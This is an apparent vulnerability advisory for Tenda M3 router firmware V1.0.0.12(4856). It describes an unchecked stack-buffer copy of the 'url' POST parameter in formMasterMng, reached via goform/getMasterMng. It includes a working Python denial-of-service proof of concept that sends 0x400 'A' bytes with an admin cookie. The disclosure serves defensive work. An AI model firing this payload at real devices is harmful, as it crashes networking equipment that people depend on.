Overview

• The device's official website: https://www.tenda.com.cn/product/M3.html
• Firmware download website: https://www.tenda.com.cn/download/detail-3133.html

Affected version

V1.0.0.12(4856)

Vulnerability details

httpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the formMasterMng function, which can be accessed via the URL goform/getMasterMng

formMasterMng function gets the POST parameter url and copies to stack buffer without checking its length, causing a stack overflow vulnerability.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"url": b'A'*0x400,
}
cookies = {
    b"user": "admin"
}
res = requests.post("http://127.0.0.1/goform/getMasterMng", data=data, cookies=cookies)
print(res.content)